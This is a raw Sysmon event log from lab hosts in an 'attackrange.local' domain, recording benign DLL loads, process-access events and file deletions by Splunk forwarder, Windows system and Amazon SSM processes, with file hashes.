Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000055212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000055203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.292{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA3E0B216EAB7AFBE556F0AAC78321A6,SHA256=2D9DB2E86323A3C096D16FBA640F55F54993C602A4C65C6BDE4CDB3D91FD7B6B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:17.070{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FC91EF8D922C7626DC949914167EA177,SHA256=3B29A7674FF19B59E7C46FC520637B6A8570B47AC400B9EFFDAC9DDABF3F1C71,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.803{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.803{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.803{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000055354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.684{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-060MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000055353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.603{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.597{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000055344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.597{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft 